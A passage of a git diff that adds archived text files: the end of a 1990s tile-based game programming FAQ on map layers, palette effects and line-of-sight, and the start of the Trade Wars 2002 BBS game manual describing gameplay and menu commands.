bit more of a +realistic flavor. If you have the memory, the best way to achieve this +effect is to set aside a 4th layer to your map, called the TILT layer +or something (it can also be used for ROOF file management if you like, +think about it :) ). But since most people don't have the memory for +four map layers in memory, I'll discuss the memory-deficient method. + +Just draw the main portion of your tilted walls as your BASE layer +tiles, then use the FRINGE layer to hold the extra bits that tilt off of +the tile. You would have to do a special check to see if the FRINGE +layer tile in question is a tilt-result or a normal FRINGE tile, because +of the order of drawing. If it's a tilt-result, then you would want to +draw the OBJECT layer and the PLAYER before drawing the tilt-result +tile; and if not you'd follow the normal order of BASE-FRINGE-OBJ. + +This is where the 4th TILT layer makes like easier, for those who have +the memory to use for it. It allows you to skip this check and just +draw in the normal order, since your normal FRINGE and tilt-results +are already split up... + + +------------------------------------------------ +- VI : General comments on the OBJECT layer. - +------------------------------------------------ +The OBJECT layer in my projects is an array the same as the other layers +of the map, of unsigned characters (or bytes). These have a value of +0 to 255, by the variable size. I find this to be enough objects to +cover my needs. Each number would be an index to a particular object, +0 meaning there's no object in that map-space. I split the byte up into +various object categories...for example 1-127 would be monsters and towns +people, 128-255 for inanimate objects...whatever. Anyway, I like to have +an 'intelligence' (much like walkability) assigned to various groups of +objects. + +These are usually broken into groups of 16, for the ease of the math to +get the values...Below is an example break down of 'Intelligence' of +objects (more info on this style of attribute, see the 'Walkability' +section)... + +INT Index : What behavior is exhibited by the Object... + 0 0-15 : Townspeople...wander aimlessly... + 1 16-31 : Townspeople/Monsters who are afraid of the character. + 2 32-47 : Docile Monsters, wander aimlessly until attacked, at + which point their INT is switched to...3... + 3 48-63 : Same Docile Monster pictures, but now they're mad! + 4-5 64-95 : Normal monsters, they charge at a slow pace... + 6 96-111 : Baddie monsters, they charge right at you.. + 7 112-127 : Projectile firing monsters... + + 8 128-143 : Keys, and other door-opening things. + 9 144-159 : Weapon objects... + 10 160-175 : Armor and the like... + 11 176-191 : Cash, and other booty. + 12-13 192-223 : Normal, plain objects, like books and candles. + 14 224-239 : Some other Obj category... + 15 240-255 : Objs that hold other objs...bags, chests, backpacks. + +The above is just a sample chart of how you might choose to lay out +your OBJECTS to get the most efficient use of the INT value. I like +using an Intelligence to keep track of behavior of OBJECTS. Thus in +order to do the proper things for each OBJECT I would simple have to +check that object's INT and then do what I need to do for that OBJ. +It's helpful...understand? I hope so. + +Many large projects will find that 255 just isn't enough objects, in +these cases, you'd be best advised to move to an array of unsigned +short variables (short ints...16bits) this allows for a value from +0 to 65535. That should be enough objects for any game I've ever +played! + + +------------------------------------------ +- VII : Multiple OBJECTs on one space. - +------------------------------------------ +The question was raised when I was discussing my methods with another +programmer, how do you handle multiple OBJECTs in one space? I never +really thought much about it before and just restricted OBJs to one +per space. The simplest method I came up with is special INT (see above +section) values for OBJs that hold other objects. These are things +like bags, backpacks, treasure chests, etc. In the example above +this is category 15, Indexes 240-255. The objects would have a picture +assigned to them as normal, but they would each have an independent +array of other OBJECTS that they hold. Each of them could have a +certain max set by your particular array structures. This way, when +you pick up those objects, -all- of the object list gets added to your +inventory. When there is a chest or bag on the ground you could also +drop a number of OBJs there and have them be filed off to the independent +array for that bag or chest. + +This method is a good way to incorporate a way to have multiple objects +in one map space, without having a huge amount of additional map layers. +It's relatively speedy, and still memory efficient. Please note that +the maximum number of bags and other such mult-OBJ-objects, are limited +in number by the number of array structures that you assign to them, so +never include more than the number that you can handle on one map. + + +Often times the above method is too restrictive or doesn't match the play +style of the game. The alternate method is a bit more complicated and +requires a knowledge of the use of 'linked-lists'. If you aren't familiar +with linked-lists, pick up nearly any intro-book for your programming +language of choice and look up linked-lists on the index...you should find +it. Assuming a knowledge of linked-lists, I'll continue. + +Change your object layer to an array of list pointers. Then as you place +objects in a map-location, add a node to the list at that location. When +objects are removed, remove the node. This will allow for an unlimited +(well, memory limited) number of objects on any particular map-location. + + +-------------------- +- VIII : Cool FX - +-------------------- +This section discusses some random cool effects I've come across, that +are relatively simple to implement and can really improve the 'look and +feel' of the game. + +One such effect that I like doing rotating palettes. This is good for +flowing water in streams and smoking chimneys. You just run a rotating +palette which will change certain colors in a certain order which +produces good FX without much added programming time... + + +Also another cool effect is to animate your tiles, this can be done by +an array of pictures instead of just one being assigned to a tile; and +then incrementing thru the array during your playloop. For example you +might have a section of your FRINGE layer be animated tiles, one of which +is a 'fire'. This would rotate thru say...4 frames of a fire burning and +smoking etc....providing a nice effect for the player. Animating people/ +monsters is also a nice addition for a better effect. + + +For those who are confident with palette manipulation routines, another +good effect can be achieved by lightening and darkening the palette. For +instance, a player is in a cave, with only a torch providing the light, +you could set up your palette so that as the tiles get further from the +light source (the torch) the darker they are drawn. A good way to do this +is to make a palette of say...64 colors and then have 4 copies of that +palette to make up your 256 color palette. A simple shift by 64 will +lighten or darken a whole tile. + +Another way to achieve this same effect, but staying with a single palette +of 256 colors, is to create several 'reference-palette's. Sort through +your palette and create a cross-referenced palette for each darkness +level you want. Take each color on the palette and darken it the desired +ammount, then search the palette for the best match and keep that color's +index as the cross-reference value. These reference palettes can all be +calculated beforehand and stored to disk, so no real run-time slowdown is +introduced. When drawing a 'shaded-tile' (might be one of your settings in +your DrawTile routine along with SEE-THRU) check the appropriate darkness +cross-reference palette for each pixel value and draw the cross-referenced +value to the screen. This method is superior to the above method in that +it allows for much more dramatic shades and colors, but it's drawback +is that it's slower (do to the checking for -what- shade to make each +square, the actual drawing of a shaded square is just slightly slower). + +Either of the above methods are good ways to do shadows and passing clouds +overhead etc. As alluded to in the example, they also provide a great way +to create a 'torch-light' effect, where the tiles fade to black as they +get further from the light source. You could also fade to a light grey for +a good 'fog' effect. If you are implementing a limited-display as described +in Appendix I of this document, you may want to combine the two algorythms +into one, to improve efficiency. + + +------------------------------------------------ +- IX : Smooth Loading of new map sections... - +------------------------------------------------ +This question comes up a lot. My way of dealing with it is splitting +my map into a LOT of little sections within my map-file. I load nine +sections of that map into memory at one time.... + + The Map Chunks in Memory. + /-------+-------+-------\ + | | | | + | | | | + | | | | + +-------+-------+-------+ + | | Where | | + | | Player| | + | | Is... | | + +-------+-------+-------+ + | | | | + | | | | + | | | | + \-------+-------+-------/ +Then when the player moves into a new section of the map, shift six +sections of map over in memory, then load in the three new sections. +This makes for smooth scrolling with no edges, without extremely long +load times. + +Your on-disk map can be incredibly large, in fact, the only limit is the +ammount of disk space you have (or variable addressing, that is, if you +exceed a 4gig x 4gig map :), the in-memory map is only a little window of +that, then the displayed map is yet another subset window in that. On +standard memory limit systems (like dos, 640k barrier) you can set your +in-memory map to a fixed size. But when you have access to variable +ammounts of memory, it's usually best to adjust to the available memory. +Thus calculating the dimensions of your in-memory map to conform with +the memory available. This way if a user has a lot of memory, they can +benefit with load times occuring less often. This method pleases the +player with more memory (loads less often) but is a bit of a headache +to code; the variable size mapsegmenting is tricky. + + +----------------------------------------- +- IX : Portability and Speed vs. Size - +----------------------------------------- +This section is more of a discussion on programming style and suggestions +concerning that, but mention of it here may be useful for many tile-coders. + +When coding any project, it is generally a good idea to keep that code +as 'portable' as possible. This loosely put means that you code using +'standard' functions and routines, and try to avoid using system or +compiler specifics in your code. I've run up against this head-on just +lately as I bought a new compiler which is 32-bit (as apposed to the +16-bit compiler I used before), and had to go through my code and completely +revise it to work under the new system. One of the main problems was my +use of the type 'int' (integer, I code in C mostly), which is 16-bit +on some systems, but 32-bit on others. To solve portability problems I've +now gone to rarely, if ever, using 'int' but in it's stead use 'short' +(a short integer, 16-bits) and 'long' (a long integer 32-bits), which are +the same under all of the compilers I use. + +Also, many languages allow you to split your code into seperate chunks or +in the more formal circles known as 'units' or 'packages'. I split my +code two ways: one section is my standard library of game functions (my +fxlib) and the other section is the code for whatever game I'm working on. +This way I can save myself the trouble of cut-and-pasting code and some +of the problems that come with that, and just stick with my standard library +for those functions. + +Along the lines of system specifics and segmentation of code, it is usally +best to stuff any system-dependent code off in one library or unit, so +that you only need to recode that one unit when porting the code to another +compiler/system. Examples of system-specific code are : graphics, +controller (mouse, keyboard, joystick), timing and of course assembly +(another porting problem I had...). + +With some extra effort spent learning about portability, you can prevent +a *lot* of wasted time later revising code... + + +SIZE versus SPEED, the endless struggle. Though computers are getting faster +and have more memory, size and speed are still at odds and a balance must be +struck between them. There are many ways of going about coding various +parts of a game, each of which has varying size (memory used) and speed (how +fast they go). What each programmer must decide is what memory they must +sacrifice in order to gain added speed, or what speed they must sacrifice +to shrink the ammount of memory used. The methods described in this file +have been devised to generally strike a pretty good balance between size and +speed, though you can go either way with them, tuning them for smaller size +or tuning them for faster exicution. You'll have to use your own descretion +on what balance you want to strike, but I think that the methods in this +faq are pretty close to the optimal 'middle-ground'. + + +------------------------------------------- +- X : Last Minute Ideas...and thoughts. - +------------------------------------------- +Well I guess that's it for this version of the FAQ. It's not really +laid out in the Standard Question/Answer method, but it is in reasonable +categories to assist you in finding the info you want. Keep in mind +that this is just a summary of my method of Tiley-games, and thus there +are other (probably better) methods out there. My methods are +continuously growing and shifting, due to questions people ask me or +effects I see in other games, so if you've got any ideas I might be +interested in hearing them. + +I've received some requests for some of my finished games using this +method...unfortunately, like so many programmers, I have not finished +a single Tile-RPG game. I always get a new idea for a better way to +do things half-way thru and start fresh...going nowhere. But thru the +hordes of half-projects I've developed a method that works well. I've +also been requested to put together a demo of my methods. I will likely +do such, but currently I'm very busy. When I do write up some sample +code, I'll post it at x2ftp.oulu.fi as well. + +I do have one Shareware game currently on the market, it uses a small +offshoot of my tile-method; not nearly as complicated as the method +presented in this file. My current project(s) include directing a +multi-continental (literally) game project which will be implementing +a form of Genetic Algorhythms (Alife simulations) and the other is a +tile-based strategy wargame (with no name yet). This game (when I get +it finished) will demonstrate several of the methods discussed in this +document, amoung them : a 3-layer map, palette rotation for cool fx, +a single directional tilt, and other neat tile-stuffs. + +I hope this FAQ gives a good enough summary of basic Tile-Game concepts +to get you started/finished with your programming projects. Have fun! + +I can be reached for questions/comments/additions/etc. via email at : + + gtaylor@oboe.aix.calpoly.edu + +The latest version of this FAQ can be found at : + + x2ftp.oulu.fi pub/msdos/programming/docs/tilefaq.* + + +May you code for many days and never have a bug. -=GT=- + + +---------------------------------------- +- APPENDIX I : Limiting the display - +---------------------------------------- +A common problem to most tile based games is "what can the player see?". +For example, in a dungeon setting you must be very careful to limit +what is shown to the player or else there is just no point including +secret doors. + +Map: Display: +************* ********* [ assume that S is a secret +*...*.......* ===> *.......* door and most likely looks +*...S.......* S.......* like the rest of the walls ] +************* ********* + +I've come up with my method of choice which anyone is free to dispute +with me or to offer up a better solution. This algorith is O(n) with +a moderate constant (that is, the algorithm looks at each square only +once and doesn't have a particularily large or small overhead). + +You need one extra piece of information in your map (which hasn't +been discussed in the tileFAQ) which is opaqueness of each square. +That is you need to be able to get a value of: + 1 = You cannot see through this square. This does not mean that + the square is never visible just that things "behind" it won't + be visible. + 0 = You can see through this square. +It does not matter how you store this information. Where this algorithm +came from I defined all my objects to have many attributes one of which +was opaqueness. + +[ Editor's Note (GT) - I would implement the opaque values as a attribute + of each tile, thus keeping an array of opaque values (say ... + opaq[MAXTILES]) which is indexed by the same index as the tiles. So + in checking the opaque attribute, you wouls simple have to take the + tile value (say ... 0..255) from the map position in question, and use + that value to index the opaque array. + + For multiple layered maps you can just use the opaqueness of the base + tiles and ignore any of the higher levels. However, to offer yourself + more variety in the effects, you could balance 1, 2, perhaps 3. It's + also important to note that even when checking three values (BASE, + FRINGE, OBJECT) of opaque attriibutes, if any of them are non-opaque, + then the whole tile is non-opaque. ] + +I'll be using a standard coordinate system where the map is located +on a cartesian plane and i'll be using (x,y) as a normal notation. +I'm assuming that the player is at position (o_x, o_y) and that you +want to draw the map with the player in the center of the square +and with a radius of DELTA (that means that you want to draw DELTA*2+1 +by DELTA*2+1 tiles). + +For any pedantic readers: define the radius of a square as being +the length of any orthogonal vector from the origin to the square. +Throughout the remainder of this explanation i'll include the +"pedantic people" comments in square brackets. If you don't care, +then don't read the information in square brackets. + +For the non-pedantic readers, we'll build successively larger squares +starting with the squares one space from the origin. + +For any given point (x,y) we will approximate whether or not it is +viewable by finding one or two points that lie on the previous square +[Let R = radius of the square containing (x,y), find (x1,y1), (x2,y2) +which lie on the square of radius R-1] between (x,y) and the origin. +It turns out that the statement "one or two" points is easiest to +implement if we always have two points. For any point which lies in +a horizontal, vertical or diagonal line from the origin we will simply +use the same point twice. + +The one last thing that we need is a sign function (not sine). For +those who don't happen to know what that is + |u| + sign(u) = -------, for all non-zero u, let sign(0) = 0. + u + +[ Editor's Note (GT) - The strictly defined formula as stated above is + not the best way to implement it in a program, because divides are + a slow operation. You can reach the sign value of an integer-based + data-type by a simple bitshift by n-1 bits (e.g. for an 16-bit + integer, shift it right by 15 to get the sign bit). Or you could + also implement a sign function by the following code (C) : + if (u>0) sign=1; + else if (u < 0) sign=-1; + else sign = 0; ] + +To restate, assume that we have origin (o_x, o_y) and point (x,y). +Let (i, j) = (x - o_x, y - o_y) [be the vector from (o_x, o_y) to (i,j)] +We can then easily calculate the two points as: + + point_1 = (-1 * sign (i) + x, -1 * sign (j) + y) + { (x,-1 * sign (j) + y) IF |j| > |i| + point_2 = { (-1 * sign (i) + x, y) IF |j| < |i| + { point_1 IF |j| = |i| + +[ point_1 is in the diagonal direction from (x,y) to (o_x,o_y) and + point_2 is in the horizontal/vertical direction from (x,y) to (o_x, o_y). + Pretty easy to prove that that statement is true and from that you + can convincingly assert that this provides an good O(n) determination + of which squares are blocked from view. + Notice that the definition of sign(0)=0 means that point_2 collapses to + point_1 if j = 0 or i = 0 which is why i've decided to always use two + points. Well, that and the use of the constant 2 in the algorith, + see the comments after the algorithm. ] + +>From the calculation of those two points it because almost criminally +easy to decide which tiles can be seen and which cannot. + +Let opaque be an array DELTA*2+1 by DELTA*2+1 which undefined value +(ie: you don't have to initialize it). Remember that DELTA is the number +of tiles in any direction [radius of the display] that we will be drawing. + +Here's the pseudo-code of how to do it: + +{ cheat and do the case of delta=0 so that we don't have to worry + about any kind of special case } + middle = DELTA+1 { This is the middle of the display } + opaque[middle][middle] = 0 { delta=0 wasn't so hard :-) } + + FOR delta = 1 TO DELTA DO + FOR each (x,y) that lie on the square of radius delta + Calculate the two points as described above, call them + p1_x, p1_y, p2_x, p2_x. + Make sure that (p1_x,p1_y) and (p2_x,p2_y) are on the map. + IF Opaque[p1_x - o_x + middle][p1_y - o_y + middle] + + Opaque[p2_x - o_x + middle][p2_y - o_y + middle] >= 2 I + THEN + { You can't see this square } + Opaque[x - o_x + middle][y - o_y + middle] = 1 II + ELSE + Opaque[x - o_x + middle][y - o_y + middle] = ??? III + { You might want to draw the tile now if you can } + ENDIF + ENDFOR + ENDFOR + +That looks a lot more complicated than it really is. The hardest part +in implementing that loop is the "FOR each (x,y) that ..." line. +If you are a little creative you can do that easily enough. + +On line I and II the constants 2 and 1 are used to give the algorithm a +little flexibility. By setting the opaqueness of unviewable squares to 1 +and requiring that both "blocking" squares to be opaque (the value 2) the +algorithm will allow for looking "around" minor obstacles. To make the +routine much more strict you could use a value of 2 on line II which +will often give more realistic displays but (IMHO) less playable +results. + +If you would like a more detailed explanation of the derivation of the +two points or something a pretty close to an actual C implementation +(I have my first attempt at writing this appendix which was far too +formal but did have some code with it) you can send me an email and +politely ask me to forward it to you or if you have a web browser +(mosaic, netscape, lynx) you could find both documents at + + http://noether.math.uwaterloo.ca/~crpalmer/ + +Any questions/comments/criticisms can be directed to me via email at: + + crpalmer@undergrad.math.uwaterloo.ca + + +/=====================================================================\ +| Revision History... | +|---------------------------------------------------------------------| +| 1.0 : Initial Release - Basic info on my method for Tiley-games. | +|---------------------------------------------------------------------| +| 1.1 : Added clarifications, especially a more in depth look at | +| memory structures. Added several new methods to the list. | +|---------------------------------------------------------------------| +| 1.2 : Touched it up a bit, added porting/size/speed and Appendix I. | +\=====================================================================/ +Thanks to Gabor Torok and Scott Host, who's methods have influenced those +in this document (as well as countless tile-based games which I've examined). + + diff --git a/textfiles.com/games/tw2002.txt b/textfiles.com/games/tw2002.txt new file mode 100644 index 00000000..04577fc3 --- /dev/null +++ b/textfiles.com/games/tw2002.txt @@ -0,0 +1,1399 @@ + TRADE WARS 2002 + (C) Copyright 1990, 1991 by Martech Software, Inc. + + + Another quality on-line game brought to you by + Martech Software, Inc. + and the game development team at + + Castle RavenLoft + Lawrence, KS + (913) 842-0300 + WWIVnet @9354 + + + You peer out the window of your private quarters onto the + vast unknown. You ponder the possibilities of expanding + your one-ship trading company. You've become comfortable + with your regular route; the familiar ports, the familiar + traders, no hassles, no dangers. Maybe you've become too + comfortable. Lately you've been hearing a nagging voice + in the back of your mind urging you to be more, do more + and experience more. You feel there has to be more to + life than this easy, peaceful yet unfulfilling existence + your life has become. + + You put your feet up, sip your drink and resolve to + become the best trader the universe will allow you to be. + + + + +Trade Wars 2002 combines adventure and exploration with strategy +and cooperative play in an entertaining and exciting on-line game. +You compete against other BBSers to be the most powerful trader (or +corporation of traders) in the universe. Independent traders can +compete quite effectively against large corporations. Corporate +members can perform specific duties (as directed by their C.E.O.) +in specialized ships. Traders can be "good guys" or "bad guys" +with different avenues for advancement. The universe can be +different with each new game. There is no right or wrong way to +play and the possible strategies are limited only by one's +imagination. + + +PLAYING THE GAME + +When you enter the game, you will be piloting a Merchant Cruiser. +This is considered the most versatile ship in the Trade Wars +armada. In it, new players have a chance to try out all aspects of +the game. + +Upon entering, you will be asked what alias you would like to use +in the game and what name you would like to christen your ship. +The alias you choose will display in the player and corporate +rankings and in several corporate listings. Your ship name will be +used in the docking logs at the ports. You can use these names to +be as conspicuous or as inconspicuous as you want. + +The equipment in your initial ship will include 20 holds to store +the cargo that you can trade at the ports found throughout the +universe. Trading is the basic way to advance in the game. By +good trading, you can gain experience as well as gain credits. The +credits you earn can fund your military and can provide the capital +you will need to expand your trading expeditions. + +The game will differ with each different group of players. +Individual traders are ranked by their experience. You gain +experience simply by playing the game. The more things you do, the +more experience you will get. Good and Evil are represented by the +titles each player receives. Your experience combined with your +alignment will determine whether you are a Lieutenant or a Dread +Pirate. When you do something that affects your alignment, you +will get a message saying your alignment went up or down and by how +much. + +There are benefits and drawbacks whether you choose to play the +game as a good trader or an evil trader. Traders who follow the +FedLaws are offered protection in FedSpace until they are +experienced enough to protect themselves. Traders who aspire to be +very good can be awarded a Federal Commission. This allows them to +purchase an Imperial Starship. This is one of the most powerful +ships in the universe. On the other hand, the evil traders are +offered some options in the Underground. Traders who have proved +that they are truly evil can steal product or money from the ports. + +THE UNIVERSE + +You will be traveling in a 1000 sector universe. Sectors may have +planets, ports, other players, aliens, Ferrengi, Federation +Starships, mines, message beacons, fighters (belonging to you, +other players, rogue mercenaries, or the Ferrengi) or the sectors +may contain nothing at all. If in your travels you come across +something undesirable, your initial ship comes equipped with 30 +fighters with which you can defend yourself. + +Many players find it useful to have a home sector or group of +sectors. Players, especially those just joining a game, need an +out-of-the-way place to stay so they can build up their assets. +You can explore the universe and look for dead end sectors to use +as a hiding place. Corporate bases built in traffic lanes don't +fare too well and those in the major thoroughfares (in the paths +between the class 0 and class 9 ports) just don't stand much of a +chance. + +Planets play a key part in your success as a trader. Terra, the +first planet you encounter as you enter the game, is where the +people can be found to colonize all other planets. The other +planets in the game will, if inhabited, produce Fuel Ore, Organics, +Equipment and Fighters. You and the other traders decide where the +planets will be. You can purchase a Genesis Torpedo and use it in +almost any sector in the galaxy. If the planet has enough of the +required commodities and enough people to supply the labor to build +it, you can begin construction of a Citadel. The Citadel can +provide you and the other members of your corporation with a secure +place to dock your ships and deposit the credits you've earned. As +you progress in the game, your Citadel can be upgraded to provide +additional protection to you and your corporation. If you decide +to build a planet in your home sector, be sure you can defend it. +A planets is very vulnerable until it has a Combat Control Computer +(level 2 Citadel) to safeguard it. + +There are ten different types of ports scattered about the +universe. The ports are classified by the products they buy and/or +sell. Port classes 1 through 8 trade the three basic commodities: +Fuel Ore, Organics and Equipment. The universe also contains +specialty ports for the other items you will need to advance in the +game. There are three Class 0 ports where you can purchase holds +(beneficial for moving colonists to your planets as well as +transporting goods for trade), fighters (to help protect your +territory), or shields (to protect your ship from the traps laid by +your enemies). There is one Class 9 port that contains not only a +Trading Port, but also a StarDock. The StarDock houses the Stellar +Hardware Emporium, the Federation Shipyards, the Lost Trader's +Tavern, the 2nd National Galactic Bank, the Videon Cineplex and the +Interstellar Space Police Headquarters. There are other places of +interest located in the StarDock. These places you will have to +discover on your own. Some are not advertised because they are +establishments of questionable repute. Others are Federation +buildings that house top secret government information. + + +PEOPLE IN THE TRADE WARS UNIVERSE + +A large part of playing is interacting with others in the game. +You can mingle with other players in the Lost Traders Tavern, +gambling against them, conversing with them, leaving announcements +at the door or writing a message on the bathroom wall. You can +combine your assets with other players of the same alignment to +form a Corporation. Just be aware that more than one Corporation +has been brought down by a con man who wormed his way into the +Corporate structure. You can have a chance encounter with other +creatures of the universe, both real (other users) and Non-Player +Characters (the Federals, Alien traders and the Ferrengi). Chance +encounters offer many possibilities and can advance you in your +chosen career path. Your alignment and experience and the +alignment and experience of the creature you encounter will +determine just how that advancement if affected. + +Other traders are users just like you. They have alignment and +experience points. You can see all the others by Listing Traders +from your ships computer. By using the listing, you can see which +players are good and which are evil. You can estimate whether the +other player would better serve your needs as an ally or adversary. + +The Federation is the main governing body of the cosmos. You will +meet the Feds if you go to the Police Station. You might run into +them as you roam around space. The Feds don't look kindly on +players who break FedLaws, so if you're not careful, they might +visit you when you least want their company. + +Alien traders are visitors from another universe who are looking +for better ports. You can get a listing of the Aliens similar to +the one you get for other traders. Aliens also have experience and +alignment, but you cannot form a Corporation with them. + +The Ferrengi are a greedy, cowardly group. Their primary purpose +is the speedy acquisition of money. They will steal from anyone no +matter what the person's or corporation's alignment. They seldom +engage in face-to-face combat because they prefer the advantage of +surprise when ambushing their opponent. They often travel in +groups and will spy on promising territory. After targeting an +area, they will raid the sector when it is least defended. If they +are attacked, that group will hold a grudge against the attacker +and they will not rest until they feel the score has been settled. + +Explore the universe and take part in the adventure. You can just +look around or you can become a dominant factor. Most of the +displays are fully explained. When you are asked to make a +selection, anything displayed in brackets [], will be the default. +Most displays can be aborted by hitting the space bar. + +Good Trading and Good Luck. + + + MENU OPTIONS + +MAIN MENU + +Navigation + + Re-display Sector. This will re-display the information + about the sector where you are currently located. + Information includes sector number and nebulae name, + marker beacons, port name and class, mines, fighters, + planets and any other ships. + +

Port and Trade. This will allow you to dock at the port + in your current sector. This is the only way to trade + your commodities. You will have some choices for what + action you would like to take at the port. Most of the + choices are self-explanatory. When you dock at the port, + you will be able to see the docking log. This will show + you the name of the last ship to do business there. If + there is a planet in the sector with this port, you will + be able to negotiate a Planetary Trade Agreement. This + is a trade contract that will allow you to trade off all + your excess commodities to the port without wasting your + turns hauling one shipload at a time. If you want to + build a new Starport and the universe is full or if you + decide that your adversaries have too big an advantage + and you need to get rid of that port they have been + using, you can attack and destroy a starport. This is + never an easy task. The starports are very heavily armed + and will retaliate, so you will need to have plenty of + military forces with you if you decide to proceed with + this selection. + + Move to a Sector. The sectors adjacent to your current + location will be listed as warp lanes in the sector + display. You can move to one of them, or you can choose + any other sector in the universe. If you designate a + sector that doesn't have a direct warp lane, your ship's + computer will plot your course and ask you if you want to + engage your AutoPilot. You will be able to use the + Autopilot in three different modes. The default is Alert + mode. This will suspend your travel in any sector where + there is a planet, port or other trader. The second mode + is Express. This speeds you to your destination provided + there are no enemy forces in your path. The third mode + is Single Step. This was developed by an enterprising + group of pioneers. Their group was getting smaller due + to bold exploration of sectors filled with mines, so the + survivors manufactured an Autopilot that would stop in + each sector. This allowed them to scan the next sector + for hazards before proceeding into it. Select this + option if you feel the need for caution. To move through + the AutoPilot course after choosing this option, you will + need to select M, then re-confirm your destination and + mode. + + Land on a Planet. This option will enable you to + colonize your planets, build a Citadel and do business + there, pick up the fighters built by your colonists or + pick up the production of Fuel Ore, Organics and/or + Equipment. If you have purchased a Planet Scanner at the + Hardware Emporium, it will automatically provide you with + additional information about the planet. The Planet + Scanner will also allow you to abort the landing + procedure if, after looking at the defenses, you feel you + may not be able to land successfully. + + Long Range Scan. If you have purchased a scanner from + the Hardware Emporium, you can use it to view adjacent + sectors. All things in the Trade Wars universe have a + density value and you can use your Density Scanner to + display the relative density of the neighboring sectors. + You can then use that information to determine what's + next door. If you have a Holographic Scanner, you will + be able to see ports, planets, hazards and other players + all for just the cost of one turn. + + Release Beacon. Choose this when you want to launch one + of the Marker Beacons you purchased at the Hardware + Emporium. You will need to decide what message your + beacon will send when you launch it. + + Tow SpaceCraft. This option lets you toggle your tractor + beam on and off. The computer will ask you which trader + in your current sector you wish to tow. The computer + will then calculate (using the size difference between + the two ships) the number of turns you will use for each + sector you tow this trader and his/her ship. You can + then use the Move option to go to an adjacent sector or + you can engage your AutoPilot to move you and your + "passenger". TransWarp drives were not made to be used + in conjunction with tractor beams, so if you use your + TransWarp, the tractor beam will automatically shut down. + The person you are towing will not enter a sector until + you have safely entered. The tractor beam will act as a + protective shield and will safeguard the towee from any + damage from mines, offensive fighters or Quasar cannons. + If your ship is destroyed, the tractor beam will also be + destroyed and the person you are towing will be left + stranded. To disengage the beam at any point, use this + option again. + +Computer and Information + + Engage Crai XXV. This command will activate your on- + board computer. + + Ship Info. This will display all your current + statistics. + Trader Name......Your alias in the game + Rank and Exp.....The number of experience points you have + accumulated, the number of alignment + points you have accumulated and the + title you have received + Times Blown Up...The number of times your ship has been + destroyed + Ship Name........The name of the ship you are now using + Ship Info........Manufacturer and model + Ported = The number of times this ship + has docked at a Trading Port + Kills = Number of other player's ships + destroyed by this ship + Date Built.......The date this ship was purchased + Current Sector...Your current location + Turns Left.......Number of turns remaining for this ship + Total Holds......Number of holds this ship is carrying + (This display also shows the breakdown + of the cargo in the holds) + Additional information includes all the special equipment + your ship has and the number of credits you have on your + ship. + + Corporate Menu. This will give you information about all + the corporations in the game. + + Use Genesis Torpedo. If you are carrying a Genesis + Torpedo, you will be able to detonate it using this + command. Have your planet name ready because these will + create your new world quickly. + + Jettison Cargo. If your holds are full of some cargo you + just can't unload on any nearby port or planet, you may + use this selection to unceremoniously dump your holds + into space. Remember that FedLaw prohibits littering in + FedSpace. Dumping holds filled with colonists will leave + a negative impression on your alignment. + +Tactical + + Attack Enemy Spacecraft. When you encounter an opponent + (or other creature) in a sector you have the option of + going on the offense and attacking. The controller will + ask you how many of your fighters you want to use in the + attack. Attacking others can (and probably will) affect + your alignment. If you attack a pirate or known terror + you will get good points. On the other hand, if you + decide to pick on some good soul you will go down the + ladder of righteousness. + + Ethereal Probe. Launch the Probe you purchased at the + Hardware Emporium. Send the unmanned spy off to its + destination sending information back to you from every + sector it passes through. Remember that this device has + no defensive capabilities so if it encounters any enemy + fighters, it will be destroyed. + + Take or Leave Fighters. This enables you to deploy your + fighters. You will have several options so you can + customize your defenses. You can leave fighters as + either Personal so they recognize only you as an ally or + you can leave them as Corporate so any member of your + corporation will be treated with respect. Fighters can + be Offensive, Defensive or Toll. Defensive fighters + defend your territory. They bar opponents from entering + a sector and will fight when attacked. Offensive + fighters will send out an attack group on any poor soul + who happens into their sector. The size of the attack + group depends on the fighter support escorting the + intruder. After the initial attack, offensive fighters + fall back to defend their territory. Toll fighters + simply stop the casual passers-by and ask them for money + to help with your cause. The number of Toll Fighters + deployed will determine the amount of the toll charged. + Toll fighters, as all other fighters, will fight back if + attacked. + + Show Deployed Fighters. This display can be a very + useful tool as you plan your military strategies. The + information shown contains the sector number where the + fighters are located, the quantity of fighters there, + whether the fighters are Personal or Corporate, the + strategic mode they are in (Offensive, Defensive or Toll) + and any tolls they have collected. + + Handle Space Mines. Mines can be a very convincing way + of marking your territory. This selection will let you + place or pick up the mines. You will be able to choose + whether to set the mines as Personal or Corporate. + Personal mines will recognize only you and Corporate + mines will recognize any member of your corporation. + Mines don't always go off, but it stands to reason that + the more mines there are in a sector, the more likely one + is to detonate. + + Show Deployed Mines. This display is similar to the Show + Deployed Fighters. You get information about the sectors + containing your Personal and/or Corporate mines and how + many mines are located in each of those sectors. + + Starport Construction. If there is not a Starport in the + sector, this menu selection will display the Starport + Construction Menu. Starports are available throughout + the universe. You may decide that you want your own + customized commerce center in a place you specify instead + of using the ones built by others. You will see a + detailed graph of the different port classes, the + products they can import/export and the initial + construction costs. The license bureau will check to see + that there is a planet in the sector to provide materials + for the construction. They will also check for + sufficient funding to support the undertaking. Be sure + to leave the specified amount of materials on the planet + every day during the construction phase or the building + will not progress. If there is already a Starport in the + sector, the Upgrade Starport Menu will be displayed. + This allows you to increase the trading levels of any or + all of the commodities. The universe can support only so + many ports. If the Starport Construction request tells + you that the universe is full, then you have to destroy + an existing port before you can begin construction on + your new one. (See PORT AND TRADE) + +Miscellaneous + + Quit and Exit. This exits you from the game and returns + you to the BBS. + + Main Menu Help. Display the portion of the documentation + describing the Main Menu functions. + + Trade Wars Docs. Display this entire document. Useful + menus are available anytime a ? appears in the prompt. + Specific help files are available wherever an ! appears + in the menus. + + View Game Status. Trade Wars 2002 can be configured in + a variety of ways by your SysOp. This display will show + you the static information about the game as well as the + current information. Static information includes the + version number, maximum number of sector, players, etc., + whether or not the local display is on, and if this is a + registered version of the game. The StarDock location + may also appear on this screen (SysOp option). The + current information will show how many players are now in + the game with the percentage of good, how many planets + have been built, how many corporations are registered, + the amount of credits accumulated at the ports, the total + fighters and mines in the universe and how long the game + has been running. + + +AUTOPILOT MENU + + Yes, stop here. This will disengage the Autopilot and + will stop you in the current sector. + + No, continue on. Continues on the pre-defined route. + + Express Non-stop. This will speed you through the + sectors without pausing to ask if you want to stop in the + sectors with planets or ports. Hitting the space bar + while in Express mode will put you into warp speed. If + you encounter enemy forces you will have to react. If + you retreat, the computer will re-plot your course + avoiding that sector from which you retreated. + + Ship Information. This displays all your current + statistics. The display is the same as option from + the Main Menu. 